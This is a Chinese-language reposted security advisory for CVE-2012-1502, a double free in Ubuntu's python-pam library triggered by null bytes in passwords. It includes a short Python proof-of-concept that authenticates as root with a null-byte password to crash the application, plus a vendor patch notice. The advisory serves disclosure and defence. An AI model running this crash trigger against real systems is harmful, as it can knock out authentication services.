linux设置好的密码拒绝访问,PyPAM密码空字节处理引用拒绝访问漏洞

发布日期:2012-03-08

更新日期:2012-03-13

受影响系统:

Ubuntu Linux 11.x

Ubuntu Linux 10.x

Ubuntu PyPAM

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 52370

CVE ID: CVE-2012-1502

python-pam是Python到PAM库的接口。

PyPAM在验证包含空字节密码的实现上存在拒绝访问漏洞,攻击者可利用此漏洞造成应用崩溃。

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Markus Vervier ()提供了如下测试方法:

#!/usr/bin/env python

##

## python-pam 0.4.2 double free PoC

##

## 2012 Leading Security Experts GmbH

## Markus Vervier

##

# -*- coding: utf-8 -*-

def verify_password(user, password):

import PAM

def pam_conv(auth, query_list, userData):

resp = []

resp.append( (password, 0))

return resp

res = -3

service = 'passwd'

auth = PAM.pam()

auth.start(service)

auth.set_item(PAM.PAM_USER, user)

auth.set_item(PAM.PAM_CONV, pam_conv)

try:

auth.authenticate()

auth.acct_mgmt()

except PAM.error, resp:

print 'Go away! (%s)' % resp

res = -1

except:

print 'Internal error'

res = -2

else:

print 'Good to go!'

res = 0

return res

print verify_password("root", "a\x00secret")

建议:

--------------------------------------------------------------------------------

厂商补丁:

Ubuntu

------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

0b1331709591d260c1c78e86d0c51c18.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值